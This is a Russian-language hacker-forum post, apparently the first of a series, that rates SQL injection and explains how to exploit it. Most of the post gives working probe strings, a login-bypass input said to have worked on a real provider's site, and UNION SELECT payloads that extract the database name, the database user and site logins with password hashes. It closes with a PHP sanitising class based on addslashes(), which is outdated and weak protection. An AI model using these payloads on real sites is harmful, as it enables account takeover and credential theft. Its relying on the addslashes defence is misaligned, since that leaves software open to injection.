Я буду последовательно излагать характер уязвимости,её оценку(10-бальная шкала),способы её защиты,способы её применения
1)
Название : SQL-injection(SQL-иньекция)
Оценка: 8 баллов
Краткий обзор :
Одна из самых распространенных уязвимостей в веб-приложениях,достигается путем внедрения собственного запроса в URL,реже в строки ввода,позволяет злоумышленнику заходить под чужим логином,получить доступ к базе данных проекта
Описание,способы применения уязвимости:
Вначале более подробно опишу уязвимость.
К примеру вам дан URL типа cage.hacker.com/index.php?id=3
Как же узнать подлежит он уязвимости или нет?Есть несколько способов
1)Самый простой(также самый непопулярный,т.к. проходит только на сайтах ламаков)
Пишите в URL следующую строку
cage.hacker.com/index.php?id=2+1
Если открылась та же самая страница,значит сайт подвержен уязвимости с вероятностью гибели человека при
попадании на поверхность солнца
2)Элементарно вставляете знак одинарной кавычки "'" ,если в браузере вышло сообщение о некорректности MySQL
запроса,то уязвимость существует.
Важно: Отсутствие ошибки еще не говорит об отсутствии уязвимости
Замечание: Иногда уязвимость проверяется и с помощью двойной кавычки
Пример к замечанию: Провайдер(имя которого не говорю,чтобы не обвинили
в "рекламе"),обеспечивал как обычно заполнение часов через свой сайт.Заходя на него,можно было в поле ввода
логина набрав vasa_c"#,а в поле ввода пароля любые символы получить доступ к аккаунту,а также возможность
поменять пароль тем же способом!
3)Не очень его люблю за его обыденность и тупость,но не привести не могу
cage.hacker.com/index.php?id=2' or 1=1
Если откроется та же страница значит вероятность уязвимости есть
Замечание: Я говорю вероятность,т.к. здесь не последнюю роль играет парсинг входных данных
Остальные приемы проводятся с использований этих базисных решений
Приведем некоторые из этих приемов
Пусть к примеру дан URL cage.hacker.ru/news.php?id=3,ясно что на страницу выводится новость,имеющая id=3.
Как правило имеется таблица,содержащая имя новости,контент,заголовок и т.д.Обычно выборка проходит по следуюшему сценарию
mysql_query("select * from news where id='".$_GET['id']."'");
Предположим,что существует уязвимость,т.е. параметр $_GET['id'] вставляется в запрос без соответствующей обработки,значит,написав вместо id=3 id=3' union select 1/* мы получим запрос,в котором объединены 2 запроса,т.е. MySQL запрос будет выглядеть следующим образом
select * from news where id='3' union select 1/*'
Врядли у вас сходу получится составить правильный запрос,т.к. число символических единиц должно совпадать с количеством выбираемых полей,в данном случае с количеством столбцов в таблице новостей.Поэтому самый верный способ - это прямой перебор(врядли количество столбцов будет сумасшедшим).К примеру их количество 5,поэтому пишем в URL следующее
cage.ahacker.ru/news.php?id=3' union select 1,1,1,1,1/*
В итоге на странице новостей вместо ошибки MySQL должна выйти либо новость без ошибки,либо 5 единиц(может и меньше,в зависимости от того как обрабатываются данные из БД).Что же делать,если вышли не единицы(а это важно),а сама новость?Положа руку на сердце скажу,что этого ни в одной документации еще не нашел.Запрос в URL составляем следующим образом
cage.ahacker.ru/news.php?id=3' union select 1,1,1,1,1 order by 1/*
Если же и сейчас выйдет новость вместо единиц,измените надпись добавив DESC
cage.ahacker.ru/news.php?id=3' union select 1,1,1,1,1 order by 1 DESC/*
Теперь у вас на странице новости вместо новости,ее заголовка и остальной информации выходят единицы.
Заменяем одну из единиц на запись
cage.ahacker.ru/news.php?id=3' union select 1,database(),1,1,1 order by 1 DESC/*
И у вас на странице выйдет название базы данных,далее,поставив запрос
cage.ahacker.ru/news.php?id=3' union select 1,database(),user(),1,1 order by 1 DESC/*
у вас выйдет еще и пользователь базы данных
К примеру,написав
cage.ahacker.ru/news.php?id=3' union select 1,login,password,1,1 from users order by 1 DESC/*
вы получите список пльзователей и паролей данного сайта,где login - столбец с именами,password - столбец
с паролями(хешами),users - таблица,хранящая эту информацию
Меры защиты
Меры защиты против SQL-иньекций в основном упираются на функцию addslashes()
Создаем утилиту,через которую будут проходить все наши данные,инициализировать будете там где вы уже решите
class cUtils
{
function FromPost($name)
{
global $_POST;
return $this->ClearStr($_POST[$name]);
}
function FromGet($name)
{
global $_GET;
return $this->ClearStr($_GET[$name]);
}
function FromSess($name)
{
global $_SESSION;
return $this->ClearStr($_SESSION[$name]);
}
function FromFile($name,$type)
{
global $_FILES;
return $_FILES[$name][$type];
}
function FromCookie($name)
{
global $_COOKIE;
return $this->ClearStr($_COOKIE[$name]);
}
function ClearStr($str)
{
if(!get_magic_quotes_gpc())
$str=addslashes($str);
return trim($str);
}
}
Обратим внимание на функцию ClearStr($str),дело в том,что мы не имеем права писать просто addslashes(),потому что в зависимости от настроек на хостинге,наша функция может просто-напросто экранировать экранированные переменные,что опять приведет нас к исходному состоянию!
Таким образом,инициализировав объект небольшого класса,вы можете обрабатывать данные через его методы
Обработку данных можно осуществить и с помощью регулярных выражений,но тем не менее я настаиваю на жесткой обработке,если можно так выразиться.
to be continued…(смотри следующий пост)